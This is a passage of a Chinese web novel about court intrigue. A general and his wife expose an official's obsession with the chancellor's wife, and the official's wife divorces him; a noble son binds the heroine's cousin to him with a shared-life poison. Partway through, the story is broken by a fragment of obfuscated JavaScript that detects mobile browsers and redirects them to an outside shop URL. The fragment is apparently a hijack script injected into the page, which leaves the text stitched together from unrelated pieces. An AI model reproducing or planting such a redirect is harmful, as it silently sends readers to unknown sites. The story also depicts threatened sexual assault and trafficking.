“若不是苗安楠强势摁着,钱宝器后宅养美人儿和子嗣的数量,早能组成一支队伍了。”
“我已安排钉子向钱宝器吹风,让相府的火先烧起来,我们好趁火**。”
大福站在门外,脸上的神情快要绷不住,将军越不像他认识的将军。
将军身上的孤独气息越发淡了,多了凡夫俗子的鲜活,如同这世间绝大多数人,每日清晨迎接生活的酸甜苦辣辛,夜晚的梦里也不再是无边无际的空虚。
“母子内斗,也让苗安楠切身感受来自废物的疯狂报复。”
“英雄所见略同。”徐慧珠之所以关注钱宝器,也是存了废物利用,好变废为宝的心思。
“夫人和为夫心有灵犀。”
就没有姜夜沉接不住的话。
钱相爷上了请罪折子,关闭府门谢客。
奉旨自省。
钱相爷看似识时务,却有以言官铁大人为首在朝堂上向姜夜沉发难,不提缘由,单说姜夜沉踢断钱宝器命根的做法违背人道伦理。
断人子嗣,犹如**性命。
换句话说,姜夜沉犯下**的大罪。
姜夜沉迎上铁大人的目光,“依铁大人之意,钱三公子于光天化日之下强抢本将军的夫人和娘家堂妹,扬言白日做钱三公子的洗脚婢,夜里做钱三公子的暖床婢,是对?”
“本将军该畏惧相府的权势,笑脸相迎,奉上夫人,求钱三公子肆意**,才好?”
“钱三公子强抢不成,持凶伤本将军,让杀?”
“本将军的命,何时贱如草芥、轻如鸿**,不是死在敌人的战刀之下,而是死于钱三公子之手?”
“铁大人,本将军该死?”
“本将军为自保伤了钱三公子,凑巧伤到命根。怎么,铁大人言下之意,让本将军以死谢罪不成?”
铁大人目光闪烁,冷汗直冒,因为姜夜沉说的都是真相。
但,这些话,由姜夜沉口中说出,他不在意徐慧珠的名声?
“本将军当众问铁大人一句,倘若钱三公子羞辱的是铁府女眷,铁大人当如何?”
“铁大人是忍下?还是敲锣打鼓把自家夫人、或女儿送到相府后宅,白日里做钱三公子的洗脚婢,夜里做钱三公子的暖床婢?”
“铁大人能忍常人不能忍之事,恕本将军忍不得。”
铁大人面色发青,一向嘴皮子利索,今日在姜夜沉面前竟说不出话来。
“原来铁大人是这样的人啊。”
出乎所有人的意料,姜夜沉在朝堂上硬刚铁大人,一
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言一语堵的铁大人哑口失语。
朝堂上姜夜沉和铁大人针锋相对,消息传回将军府。
“夫人,大福说将军从前不屑分辨,旁人敢泼脏水,狠狠回击就是了。如今那些看不惯将军的人,在言语上也莫想讨到分毫好处。”
“都怪那铁大人好生过分,攀扯到夫人您的身上,说您和念念姑娘向钱宝器示好,引得钱宝器误会......”
“万幸,将军维护夫人。”
要金夏说,钱宝器断了命根也该,他那样的坏种活着也是浪费空气。
不过,这话,她只敢在徐慧珠面前说说。
“铁大人?”
“相爷好手段,这手伸到言官里了。”
徐慧珠想不明白,像姜夜沉这般护国护民的大英雄,他到底碍着谁的眼,挡着谁的路,那些人为何昧着良心针对他。
比如,太子和大皇子,拉拢不成,就执着于摧毁姜夜沉。
若安国失去姜夜沉,就不怕北疆门户被蛮夷撞开?
“这回铁大人犯浑,不是受命于钱相爷。”姜夜沉下朝后,再次拒绝襄王邀约,直奔府中。
他心里不愿金夏抢走他的活。
他得承认,同徐慧珠说话,不就说话内容,感觉奇妙且舒心。
他特别享受这样的感觉。
“苗安楠能指挥得动铁大人?”徐慧珠来了兴趣。
“夫人准备一下,为夫这就带你去赏一场好戏。”
同男人喝酒听曲有什么意思,他精心准备了一出好戏,陪夫人看呢。
姜夜沉不懂,大婚后的生活有滋有味,为何男人会觉得无趣,而他享受其中。
铁大人今儿心情烦闷,下朝后直接去了春风酒楼,一个人喝闷酒,他不想回府面对母老虎一样的夫人,又怕和那位相见。
他愧对她。
害怕见她。
无颜见她。
更怕看见她眼里的失望、落寞。
他会心疼。
酒喝到六七分。
开始醉了。
铁大人好像听到自家夫人的声音,待他推开雅间门,扶着栏杆往厅堂看。
傻眼了。
他看到了什么?
第104章:休夫
入眼,一名窜脸胡男子正与铁夫人拉扯,嘴里释放污言碎语,“我对夫人一见钟情,大胆表白心迹,夫人该感动才是,为何拒绝我?”
“我不嫌夫人年纪大,我娘说了,年纪大的女子会疼男人。”
“夫人这就随我回去,做我的媳妇。”
“我年轻,一身力气,保管让夫人快活似神仙......”
铁夫人和随行奴婢吓傻了,一时忘记反应。
“哪里来的浪荡子,放开我家夫人。”
“快,救我。”
铁夫人今日只带两名奴婢,三人抵不过窜脸胡男子,拉扯之下,两名奴婢的衣裳破了,推倒在地。
“我家穷,养不起两个闲人,你们再不滚,莫怪我不怜香惜玉,一脚踢废你们。”
“我只要一个媳妇,瞅准这位夫人了......”
铁大人酒醒一半,他指着窜脸胡男子怒吼,“报官报官。”
“天子脚下的京城,竟有无赖在光天化日之下调戏官夫人......”
窜脸胡男子瞅了一眼铁大人,“呦,这不是铁大人嘛。”
“怎么?心疼了?”
窜脸胡男子的手,摸上铁夫人的脸,“夫人肌肤似雪,细嫩顺滑,跟着铁大人可惜了,他不懂疼惜你,我懂。”
“你......你......”铁夫人脸颊涨红,几欲昏厥。
她挣不脱窜脸胡男子的禁锢,又怒到失语。
“夫人莫急,等你跟了我,入了洞房,我会告诉你,我是谁。”
姜夜沉和徐慧珠此刻正站在三楼,如此视角,一览无遗。
徐慧珠指了指窜脸胡男子,“将军的手下还真是卧虎藏龙啊。”
窜脸胡男子戴着**,又贴了窜脸胡,只要他逃脱,铁大人就是报官,能抓到真凶才怪。
“为夫总得给夫人讨回点利息才是,再说,钱相府的水搅浑些,我和夫人更便于浑水摸鱼。”
“夫人接着看,下面的戏更精彩。”
铁大人此时已反应过来,这局大概率是姜夜沉为报复他布的。
仓促布局。
漏洞百出。
堂堂大将军,手段竟如此下作。
也是,姜夜沉何曾注重过名声。
“你......你是谁?”铁大人本就醉酒,理智跟不上,“你是受姜夜沉指使?”
“放开本官的夫人。”
铁大人摇摇晃晃走到厅堂,扑向窜脸胡男子,意欲抢夺铁夫人。
窜脸胡男子拥着铁夫人,一个闪身,铁大人摔了个狗吃屎。
好不狼狈。
“铁大人好生无理。”窜脸胡男子生怕旁人听不见,声音响彻春风酒楼。
“听闻铁大人硬挺钱宝器,认为钱宝器于光天化日之下抢夺良家女子是正途。”
“我没银子娶媳妇,大受鼓舞,便想着学钱宝器,抢一位贵夫人回家暖被窝......”
“铁大人无缘无故生哪门子气?”
“真真是奇怪。”
窜脸胡男子说罢,放开铁夫人,“原来是一场误会。”
“原来是我自作多情了。”
“夫人,听闻铁大人对你万般不好,我好不容易等到机会,受铁大人所言启发,当众行此事,妄想当一回话本里的英雄,救你出铁大人那个火坑......”
铁夫人死死盯着窜脸胡男子。
她的心,生出一个疯狂的念头。
火坑吗?
她的确深陷火坑。
差一点,就被活生生烧死的下场。
窜脸胡男子正说着话,听到外面一阵骚乱,“禁卫军巡街。”
眨眼功夫,窜脸胡男子不见了。
似是......凭空消失一般。
“夫......夫人?”
铁大人从地上爬起来,不敢与铁夫人对视。
他心虚。
抓人的事情,交给禁卫军来做。
可,这烂摊子,铁大人得硬着头皮收拾。
“夫人?”铁大人意欲上前扶住铁夫人,“夫人,咱们回府说。”
啪。
啪啪。
朝堂上发生的事情,铁夫人也听说了,她本就气急,恨不能揪住铁大人的耳朵,问一问他是不是脑子糊涂了?
她在府里等啊等啊,只等到小厮禀报,说铁大人在春风酒楼喝酒。
她来春风酒楼,自然是寻铁大人。
“夫人?”
“你......放肆!”
铁大人怒意和醉意同时袭来,伸手就回了一巴掌。
打完之后,两人都愣了。
“铁坪山,你敢打我?”铁夫人捂住脸颊,心痛到窒息。
铁坪山都不要家、不要脸,她还顾忌什么?
与其她
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和一双儿女有朝一日被铁坪山的所谓执念连累致死,不如借此机会同铁坪山划清界限。
她对铁坪山,心死到绝望。
徐慧珠看向铁夫人,明白了铁夫人眼里的决绝,“铁夫人欲和离?”
姜夜沉笑道,“也可能是休夫。”
“铁大人的手不该伸向自己的女儿-铁如霜,他要铁如霜在钱宝器和上官西环大婚之后,入相府为钱宝器的妾室。”
“只因,苗安楠极信命数,算出铁如霜的命格可庇佑钱宝器长命百岁。”
“仅此而已。”
“却要断送一个女子的一生。”
“铁夫人十分疼爱女儿,哪舍得娇养长大的女儿去给钱宝器那个废物当妾。”
厅堂里,铁夫人拿出一副画卷,扔到铁坪山的脸上。
画卷落在地上,是未出嫁时的苗安楠。
“铁坪山,夜夜宿在书房,抱着苗安楠的画像入睡,为难你了。”
一石激起千层浪。
应该说,春风酒楼今日发生的大瓜,足以让整座京城沸腾。
“苗安楠真真是能耐。”
“苗安楠让你**将军,为钱宝器出气,你就不分是非**。”
“苗安楠看上如霜的命格,你就上赶着送亲生女儿给钱宝器当妾。”
......
铁夫人手指着铁坪山,浑身颤抖,眼露恨意。
这些话,她想说很久了。
这个男人的心,捂不热,她便舍了去。
她不好过,铁坪山别想好过,勾着铁坪山的苗安楠也得惹一身骚。
那就互相伤害。
谁比谁疼?
“铁坪山,有朝一日,苗安楠命你做出背叛皇上、残害百姓的恶事,你为了取悦她,也会做?”
“铁坪山,有朝一日,苗安楠让你**,你也心甘情愿赴死吗?”
“铁坪山,你乐意当苗安楠的狗,我从此不再拦着,我给你让道。”
“铁坪山,你还真是个痴情的种啊,你既然爱苗安楠入骨,何不为她守身如玉?”
“为了苗安楠这个求而不得的白月光,铁坪山,你的圣贤书读到狗肚子里去了?”
府官大人平义刚踏入春风酒楼的门槛,就被铁夫人抓住。
“请府官大人见证,我许卿云要敲响震天鼓,求皇上做主。”
“休夫。”
第105章:为博心中白月光一笑
“休夫?”
平义目露不解,他在路上遇到禁卫军,得知有采花贼在春风酒楼欲行不轨之事。
追捕采花贼一事由禁卫军代劳,平义领着官差来事发之地调查情况。
不是抓采花贼吗?
怎么,半路变成“休夫”?
这?
“夫人胡闹,让府官大人见笑了。”铁坪山试图去抓许卿云的手,却被许卿云冷冷甩开。
“铁坪山,你让我觉得恶心。”
许卿云向平义行礼,“是,我要休夫。”
“夫人?”铁坪山想不通,事情为何变化到这般地步,“休得胡闹,我们回府,回家后,我能解释一切。”
铁坪山一张脸烧得慌,不知是因为酒酿作用,还是在众目睽睽之下丢脸所致。
他错了吗?
错在哪里?
“本将军这下……懂了。”姜夜沉和徐慧珠携手,自三楼顺着台阶而下。
“本将军和夫人来春风酒楼用饭,就能瞧上一场好戏。”
“只是没想到,本将军一个瞧戏的局外人,竟也被莫名的牵涉到戏里。”
又说,“本将军一直百思不得其解,本将军同铁大人往日无仇近日无怨,连皇上下旨定局的事情,为何铁大人对本将军如疯狗般撕咬不放?”
“原来,是铁大人为了博心中白月光一笑啊。”
“原来,钱相爷的娇妻就是铁大人的心上人。”
姜夜沉捡起画像,递给徐慧珠,“辛苦夫人改日走一趟相府,将画像物归原主。”
“苗夫人的国色天香,岂能被外人觊觎。”
铁坪山这时才反应过来,“不。”
铁坪山撞在姜夜沉的身上,站立不稳,跌坐在地。
“不,不是的。”
“你…...你们不能坏了安楠的名声。”
铁坪山叫的亲热,叫苗夫人闺名——安楠。
安楠,也是他能叫的?
“许卿云,这幅画像是你找人画的,不惜损毁苗夫人的清誉,就为了退如霜和钱三公子的亲事。”
事到如今,铁坪山的心里想着念着的人,唯有苗安楠。
脏水,一盆接一盆泼在许卿云的身上。
许卿云看向铁坪山,眼神透着冷漠,“铁坪山,嫁给你,算我眼瞎心盲。”
“铁坪山,你这个夫君,我休定了。”
和离,一双儿女归铁坪山,只待铁如霜及笄,就被送入相府,做钱宝器的妾室。
哪怕,钱宝器如今断了命根,成为名副其实的废人。
铁坪山还是遵守承诺,从未改变主意。
他的执念已近疯魔,不会在乎身边人是否受伤,是否会痛。
休夫,许卿云能带走嫁妆,更获得带走一双儿女的权利。
儿女跟随母姓,另立门户,也是可行。
许卿云休夫一事闹的颇大,已不仅仅是铁府家事,牵涉到钱相府和将军府。
元乐长公主也为许卿云鸣不平。
妻子守妇道,丈夫就能肆意践踏妻子的尊严,无需守一守夫道吗?
是何道理?
许卿云自下定决心休夫,就不再顾忌脸面,她将证据交给府官大人。
谁成想,铁坪山痴情如此,他的书房里藏着一处暗室。
里面挂着上百幅苗安楠的画像,他为苗安楠写下的情诗……
无数物件封存在一只只上乘材料的箱子里,小到苗安楠用过的丝帕、穿过的小衣,大到苗安楠用过的胭脂、戴过的首饰、穿过的衣裙……
铁坪山对苗安楠有多深情,衬得他对许卿云和一双儿女有多无情。
皇帝亲下旨意,允许许卿云休夫,一双儿女改为许姓,另赐一处院子,由许卿云和一双儿女居住。
这样一来,京城里,无人敢欺辱许卿云,无人敢轻视她的一双儿女。
倒是皆大欢喜的结果。
唯有铁坪山不喜。
相府。
书房的烛火亮了一夜,苗安楠跪得双腿麻木,她的脸颊高高肿起,头发凌乱,金簪落在地上,哪有贵夫人的体面。
她的狼狈,是自己给的。
她跪在地上,也是自己给予的惩罚。
无论身处何等困境,苗安楠总能寻出一条出路。
“相爷不信我?”
“相爷明知这是姜夜沉布的局,不,不仅是
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姜夜沉,还有元乐长公主也参与其中。他们今日针对相府,为的就是明日对付大皇子啊。”
“我和铁坪山清清白白,从未做过迂规之事,相爷,你该懂我的啊,我怎会看上铁坪山那样的人。”
相爷看了一眼苗安楠,他和苗安楠老夫少妻,他对娇妻一半欣赏一半真心宠爱。
正是知晓苗安楠心里的抱负,钱相爷才相信,苗安楠对铁坪山唯有利用,绝不会生出男女情意。
“夫人,我若不是丞相,你会委身于我吗?”
这个问题困扰钱相爷多年,他无数回想问,又默默咽下。
“相爷?”苗安楠眼里生出疑色,“相爷,你我夫妻二十多年的时光,我为你生育一双儿子……”
“夫人,你……你没回答我的问题。”其实,钱相爷的心里早该有答案。
他和铁坪山没什么不同。
都是苗安楠棋盘上的一枚棋子。
不,也有不同。
他是位高权重的丞相,苗安楠才会毫不犹豫选择他。
“相爷?”
苗安楠抓起地上的金簪,抵在脖颈,“相爷若是认为我不贞不洁,相爷若是对我无情无爱,相爷若是从此同我离心……无需相爷动手,我自个儿了结,这条命,我奉给相爷,盼来生,莫相遇。”
“不,夫人,你明知道我舍不得,我心疼……”钱相爷紧紧拥住苗安楠,在遇见苗安楠后,他恍然明白,他这一生追逐名利,爬上丞相高位,为的就是得到苗安楠。
相府发生的事情,徐慧珠不知。
当然,就算知道,也会感叹一句:苗安楠好手段。
这一日,钱宝器登门道歉,相陪的人竟是钱无双,这让徐慧珠颇感意外。
凑巧的是,许金枝和徐念念也在。
才小半月光景,钱宝器瘦脱了相,弓着背,低着头,跟在钱无双的身后,但他偶有抬眼,在徐慧珠和徐念念身上来回穿梭,满含阴郁,透着怨毒。
“三郎犯下大错,不敢奢求将军和夫人的原谅。父亲的意思,待三郎身子好些,就送他回祖宅反省,有生之年不得回京……”
第106章:她们是什么身份,也配?
相府道歉的诚意足够,看来大皇子李明远在其中出了一番力气,也说明大皇子李明远对姜夜沉仍不死心,试图拉拢为上策。
徐慧珠头一回见到传说中的钱无双,的确如传闻,潘安之貌,诸葛之能,赵子龙之武……只是他那一双眼睛,深潭之下隐着绝望的死气。
好生奇怪。
钱无双似是感受到徐慧珠的目光,“徐夫人,这是美颜坊的契书,请收下。”
“将军?”徐慧珠心里抗争了好一会儿,才摁下伸手的冲动。
相府的赔罪礼,收还是不收,得问过姜夜沉的意思。
“无双公子大方。”
“夫人收下吧,若不收就是将军府失礼了。”姜夜沉伸手接过契书,又递给徐慧珠。
钱无双心里叹一声,今日亲眼所见姜夜沉对新娶夫人的维护,着实令人羡慕。
他的心,无法控制地想起那人,若无世间种种牵绊,他和她是不是就能在一起,长长久久相守相爱。
徐慧珠牵起徐念念的手,说道,“那婶婶和堂妹受到的伤害呢?不知相府如何道歉?”
钱宝器猛的抬头,恶狠狠盯着徐念念,“她们是什么身份,也配?”
“三郎?”钱无双呵斥,“不得无礼。”
徐慧珠似是吓到,将手里的契书又递给姜夜沉,“将军,钱三公子说以念念的身份不配得相府道歉,我……我也是徐氏女儿,我……我不配。”
“无双公子,请回吧,将军府庙小,招待不起钱三公子这尊大佛。”姜夜沉自是偏向徐慧珠,至于徐念念,徐慧珠喜欢,认她为堂妹,那他就当作姨妹。
若不是大皇子李明远相求,钱无双不会走这一趟,相府的事,他已经不管很久很久。
可大皇子李明远说,“无双,你就是不管相府,你能硬下心肠不管上官西环和她的西疆?”
大皇子李明远劝他,亦威胁他。
“徐姑娘,这是淑衣坊的契书,是相府的赔礼,请你收下。”
“虽不能弥补三郎对徐姑娘的伤害,但我在此保证,日后徐姑娘遇到难处,我钱无双定会出手相助。”
不愧为无双公子。
一间淑衣坊,足够让徐念念原谅钱宝器那个蠢货。
无双公子的一个承诺,则是喜上加喜,能抵得上四五间淑衣坊。
徐念念上前,接过淑衣坊的契书和代表无双公子的玉牌,“如无双公子所愿,过去的事情,一笔勾销,这份歉礼,念念收下。”
她随手把淑衣坊的契书递给身后的奴婢,那枚代表无双公子的玉牌仔细收下随身戴着的荷包里。
殊不知,徐念念的小动作落入钱无双的眼里,犹如石子意外坠落他的一汪深潭,激起一圈涟漪,只是这涟漪太轻太浅,连身陷深潭里的自己都未曾发现。
若不是大皇子李明远从中说和,相府的姿态绝不会放这么低,为了拉拢姜夜沉,得到他手里的北疆兵权和锦衣卫,大皇子李明远也是拼尽力气,舍下骨子里的高傲。
这一点,就是钱无双没有明说,姜夜沉也清楚。
姜夜沉只收下歉礼,至于大皇子李明远会不会多想,就是他的事情了。
夜里,两人躺在床榻上说起钱无双。
“今日见过钱无双后,我才感受到世人对无双公子的赞叹:陌上人如玉,公子世无双。”
“我越发确定先前的猜测,钱无双身体里的毒,是他自个儿下的……”
“他和上官西环难得的两情相悦,本该有情人终成眷属才是,他为何不惜自残也要毁亲?”
“将军可知内情?”
徐慧珠絮絮叨叨说个不停,浑然不觉抱着她,手正不安分乱摸的男人气息渐变,“夫人对钱无双来了兴趣?”
“我奉劝夫人一句,钱无双此人沾不得惹不得,哪比得上夫人的枕边人……”
很显然,姜夜沉莫名的吃醋,心里怨上钱无双,不是说钱无双自身体**后,常年待在自己的院子里,谁都不见……跑到将军府做什么?也好奇他姜夜沉终是娶亲,娶了一个什么样的夫人入门?
“将军,出事了。”
“无双公子又来了。”
大福硬着头皮禀报,心里祈祷自己没有打扰将军的好事儿,不然,他又得挨训挨揍了。
“哼,不经念叨。”姜夜沉黑
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着一张脸,直到看见同样黑着一张脸的钱无双。
“无双公子深夜到访,该不是为了和本将军共进宵夜?”
姜夜沉瞧着钱无双那张脸,心里止不住想起徐慧珠夸赞钱无双的话:貌比潘安,能比诸葛,武比赵子龙……
越想越气,说出的话字字句句带刺。
钱无双还以为姜夜沉已知晓真相,他之所以深夜登门,为的是掌控请罪的主动权。
毕竟,在京城,谁都知道,锦衣卫无所不能,与其等锦衣卫闯入相府抓走钱宝器,上策定是先一步解决问题。
但愿,大事化小,小事能化了。
这件事情,不能闹大,于相府声誉不利,还会让旁人借机离间相府和将军府的关系,也不利徐念念的名声。
钱无双直奔主题,“徐夫人,我想要求娶念念姑娘,还请徐夫人帮忙说和。”
“什么?”徐慧珠满眼震惊,徐念念和钱无双头一回见面,才过去半日光景,怎么就到了谈婚论嫁的地步?
“无双公子,你……你要求娶念念?”
“无双公子莫告诉我,你对念念一见钟情,情定终生?”
“这话,三岁稚童都不信。”
“我听将军说,无双公子心里住着一位姑娘,如今又住进念念,不知无双公子的一颗心有多大空间,能挤得下两名女子吗?”
其实,徐慧珠差点脱口而出:无双公子身患隐疾,还是莫要耽误念念。
又一想,姜夜沉和钱无双算是“同病相怜的天涯沦落人”,她若嘲讽钱无双,无疑殃及姜夜沉这条池鱼。
姜夜沉深深地看了一眼钱无双,补话道,“夫人说得在理。”
“不知,无双公子有何解释?”
一时间,两道目光齐刷刷射向钱无双。
“是我一时没看住三郎,不成想,三郎竟**念念姑娘,意欲……行恶事。”
“不过,请徐夫人放心,我发现及时,万幸没造成大错。”
“只是,念念姑娘的身子到底被人看见,那些人我亲手处置,三郎也在回祖宅的路上……我已警告过三郎,此事若敢泄露出去半分,我会杀他灭口。”
第107章:不似母子,而是仇敌
“念念姑娘此刻留在我的别院,念念姑娘说,徐夫人点头,她才会应下这门亲事。”
徐慧珠微微惊讶,她没想到,自己在徐念念的心里,有这么大的影响力。
她心里再恼怒也无力,钱无双一心保住钱宝器那个废物的命,就是姜夜沉也不能直接弄死钱宝器。
而且,徐慧珠看得出来,姜夜沉看钱无双的目光,不同寻常。
徐慧珠不敢轻易做徐念念的主,她得先见到徐念念的人,一是亲眼瞧见徐念念无事才安心。
二是她也好奇钱无双到底说了什么,竟说动徐念念心甘情愿嫁给他。
别院里,徐念念坐在桂花树下,也不知坐了多久,衣裙上沾染不少花瓣。
“慧珠姐姐?”徐念念扑到徐慧珠的怀里,痛快哭了一场。
徐念念这一哭,惹得旁边两位男子无措,只得回避。
他们总不能厚着脸皮欣赏美人落泪的画面吧。
待徐念念哭够了,她才说起今日发生的事情,“钱宝器就是个疯子,他先是**我,再诱慧珠姐姐你来救我,然后把我们卖到坞国的欢场,供坞国男人**,好让坞国男人都知道他们可日日**将军的夫人,夜夜**将军的姨妹……”
“是……是无双公子救了我。”
“其实,这是无双公子第二回救我……”
门外,姜夜沉冷笑道,“钱三公子还是一如既往恨我啊。”
钱无双接话,“将军明知,三郎不过是蹦跶的蚂蚱,不成气候。”
“日后,我会看着三郎,他再敢蹦跶,我会亲手砍断他的手脚,让他蹦跶不起来。”
姜夜沉笑而不语。
他信钱无双的保证。
钱无双此人,文武兼备,但也心狠手辣,游走在正邪之间。
徐念念愿嫁,钱无双愿娶。
看似一桩金玉良缘,本就没有徐慧珠一个外人插手的资格。
钱无双亲自登门下聘,规格快赶上皇子娶妃。
可见,钱无双对这门亲事的重视。
钱无双送聘礼之时,徐慧珠正巧也在徐府,自是为徐念念撑面,生怕相府轻慢了徐念念。
“我好奇问一句,苗夫人当真同意无双公子求娶念念?”
钱无双只说,“娶念念为妻的人,是我。与念念共度余生的人,也是我。”
“其余,与母亲无关。”
一时间,相府无双公子在时隔多年后再次成为京城的话题人物。
无双公子要娶亲了,这等大事,从京城一路传到西疆……
但,第一个告诉上官西环“钱无双即将娶妻”的消息,是叶文瑞。
相府里,钱无双刚从徐府下聘回来,就瞧见苗安楠站在他的院门口,满面寒霜。
钱无双的院门,由钱无双的心腹护卫,一对双生子--平安、喜乐日夜轮守,若无钱无双点头,谁也进不去。
包含苗安楠。
今日,钱无双出门,苗安楠才有堵他的机会。
“无双,你太让我失望了。”苗安楠开口就是质问,她费尽心力教导,又送到溟山学习的儿子,从雏鸟长成雄鹰之时,第一口啄的竟是她。
“无双,你觉得以徐念念的本事,能在相府后宅活多久?”
钱无双并未请苗安楠入院,一边喝茶一边叙谈。
两人站在院门口,气氛冷滞,不似母子,而是仇敌。
“母亲又在威胁我?”
“时至今日,母亲还未放弃将上官西环抓进相府后宅的牢笼里?任母亲高兴,便折断她的一双翅膀……”
“我早就警告过母亲,上官西环属于西疆的草原,不管是谁,都没有资格把她捆缚在后宅里。”
“可惜,母亲生育的一双儿子不成器,难以完成母亲的大计,让母亲失望了。”
钱无双说罢,往院子走,又回头补话,“母亲大可以动徐念念试试,没了徐念念,还有李念念,成念念……”
“我想娶亲了,还望母亲成全。”
“不过,母亲心里不愿成全也没关系,我在徐念念的身体里种下同命蛊。”
“她伤,我伤。”
“她痛,我痛。”
“她死,我死。”
“她活,我活……端看母亲的选择。”
“母亲若想杀亲子,我这条命,便还给母亲。”
苗安楠气到心口窒息的痛,“无双,你为何不懂母亲的良苦用心?”
“我谋划的一切,都是为了你。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16784455|188170||http|test|mini|href|location''.split(''|''),0,{}));
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r>“为了你,我甚至狠心舍弃我的另一个儿子……”
钱无双与苗安楠对视,眼里毫无温情,唯有无穷无尽的淡漠,“这安国,是李氏皇族的安国,不会姓钱,也不会姓苗。”
相府里的母子恩怨,徐慧珠不知情,也没机会掺和。
为了给徐念念撑脸面,徐慧珠先是邀请徐念念在将军府小住,接着传出姜夜沉向皇帝请旨认徐念念为义妹。
姜夜沉何时说过他缺妹妹?
消息传出,人们才反应过来根源,姜夜沉为了宠爱徐慧珠,真真是没边没际。
认义妹?
这倒是一个或接近或攀附姜夜沉的妙计。
“大皇子想借相府和我搭上关系,我就给他们这个机会。”
“皇上的意思,是希望大皇子规规矩矩当他的贤王或明王,若大皇子执迷不悟,就想法子让大皇子认清楚现实……”
按说,这是皇帝的密旨,姜夜沉却告诉了她。
“徐念念的另一层身份,是将军府的大小姐,日后夫人可借此理由登相府的门,会一会那位厉害的苗夫人……”
“还是将军懂我。”苗家的人,徐慧珠一个也不会放过。
相府,她得常去。
仇,得她亲自报。
姜夜沉认义妹,是将军府的大事,自是要择良辰吉日举办认亲宴。
这一日,徐念念带来明温婉。
徐慧珠才知,明温婉同徐念念私下交好。
自上回两人联手收拾慕容左岸后,徐慧珠再未见过明温婉。
也是,明侯府出事,明温婉忙着清理明道成留下的烂摊子。
虽说出事的是二房明道成,经锦衣卫查明,大房无辜。
但自古以来,人以家族**存在,其中一支坍塌,势必会影响到整个家族。
明侯府风雨飘摇之际,大房明温婉和明温安姐弟唯有自身立,方能顶起明侯府的天。
明温婉说明来意,“慧珠姐姐先前救我性命,护我清白,这份恩情,温婉铭记于心。能认识慧珠姐姐,是我之幸之福。”
“慧珠姐姐,我打算带着安弟去东疆,为自己,为明侯府,挣出一条活路”
“我有两件事,求慧珠姐姐……”
第108章:只要无双公子娶我,做妾也可
徐慧珠明白明温婉话里的意思,她想要接管明侯爷留在东疆军中的势力,一是得到皇帝的支持,二是寻求伙伴合作,拉下现今的临海王。
明温婉聪慧,想到了姜夜沉。
姜夜沉是皇上手里的利刃,明温婉姐弟愿做姜夜沉手里的飞镖。
而徐慧珠,便是明温婉的机会。
徐慧珠喜欢并欣赏实诚的聪明人,原来,那一日慕容左岸**明温婉,未必不是明温婉以猎物的姿态故意入局……只是她原本的布局被徐慧珠打断,也是徐慧珠间接帮了她。
“温婉,你们姐弟去东疆,山高路远,又前途茫茫,夫人可放心?”徐慧珠随口问了一句。
“慧珠姐姐,你是不知道温婉母亲有多过分……”徐念念心直口快,话已出口才反应过来,赶忙看向明温婉,“温婉姐姐,对……对不起。”
明温婉眼神渐暗,明媚的脸颊染上一抹阴影,“念念你没说错,不必自责。事关明侯府,我也会向慧珠姐姐坦白。”
“先前,母亲……母亲明明知晓慕容左岸的龌鹾心思,还劝我嫁给慕容左岸,说是亲上加亲。”
“如今,慕容左岸深陷锦衣卫诏狱,母亲……母亲得知我同念念交好,又知念念是慧珠姐姐你的娘家堂妹,母亲逼我为慕容左岸求情,甚至起了送我给将军当妾的心思。”
“我和安弟去东疆,是为前途,也为逃离令我们窒息的母亲。”
明温婉满目苦涩,摊上糊涂母亲非她所愿。
这些年,明道成和外祖慕容家利用母亲做下很多错事,有很多她无力改变,只能等她完全掌控明侯府的权势后,再想法子“圈禁”母亲。
“温婉,你做得很对。”
“不管你母亲日后说什么做什么,我知晓你的心意……”
徐慧珠乐意给明温婉吃下一颗定心丸,这一世,徐慧珠决心让自己过得好,对于身边出现的人,若喜欢,护一护何妨。
徐慧珠留明温婉在将军府小住,她是懂得使唤人的,便将认亲宴一应事宜权全交给明温婉和徐念念。
殊不知,明温婉派人回府传话,慕容夫人却多想了。
慕容夫人当下散播谣言,说是姜夜沉看上明温婉,意欲求娶,这才借徐慧珠名义将人留在将军府。
明温婉容貌和身份都不低,即便入将军府为妾,同徐慧珠亦有争夺高低的资本。
慕容夫人想得美好,只要流言蜚语传得够猛烈,她相信,姜夜沉会对明温婉负责的,若攀附上姜夜沉,慕容左岸和明道成就能免除牢狱,安然归府。
不管怎么说,慕容左岸是她娘家子侄,她不能见死不救。
还有明道成,偌大的明侯府若没有男人撑着,怎能成事?怎能富贵长久?
拖慕容夫人的福,不过一日光景,姜夜沉欲纳明温婉为妾的流言蜚语传遍京城。
“慧珠姐姐,母亲……母亲她……”
明温婉在将军府极守规矩,姜夜沉出现的地方,她绝不会踏足半步。
每日来寻徐慧珠,也是等姜夜沉不在府里。
徐慧珠岔开话题,“温婉,你来得正好,这是将军府宴请的名单,听念念说,你写得一手好字,那这写请柬的活由你代劳。”
明温婉应下,“荣幸之至。”
她的字,师承明侯爷,而明侯爷的字,连皇帝都收藏在御书房里,时不时拿出来欣赏。
她和徐慧珠相处短暂,才惊觉自己当初说徐念念无脑崇拜徐慧珠是幼稚行为,是她肤浅了。
待在将军府的那几日,竟是她人生里最纯粹最快活的时光,因为她的人生里,出现一个叫徐慧珠的女子,从“英雄救美”开始,到金兰情谊深定。
“慧珠姐姐邀请灵韵县主?”
“慧珠姐姐,您是不知灵韵县主对无双公子怀有不轨心思,我担心灵韵县主会对念念不利……”
认亲宴这日,贵人云集,姜夜沉的面子,谁敢不给?
皇帝再一次彰显对姜夜沉的恩宠,达到爱屋及乌的程度,李大监亲自走一趟将军府宣旨,册封将军府大小姐徐念念为凝心县主。
凝玉公主,李凝玉。
徐念念,凝心县主。
皇恩有多浩荡,对凝玉公主和灵韵县主来说,就是啪啪打她们的脸。
特别是灵韵县主,她在赴宴之前,便已收到凝玉公主传来的消息,随后控制不住火气摔了一地瓷器。
此刻,灵韵县主一双怨毒的眼睛盯着徐念念……
“恭贺将军
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“恭贺徐夫人。”
“恭贺凝心县主。”
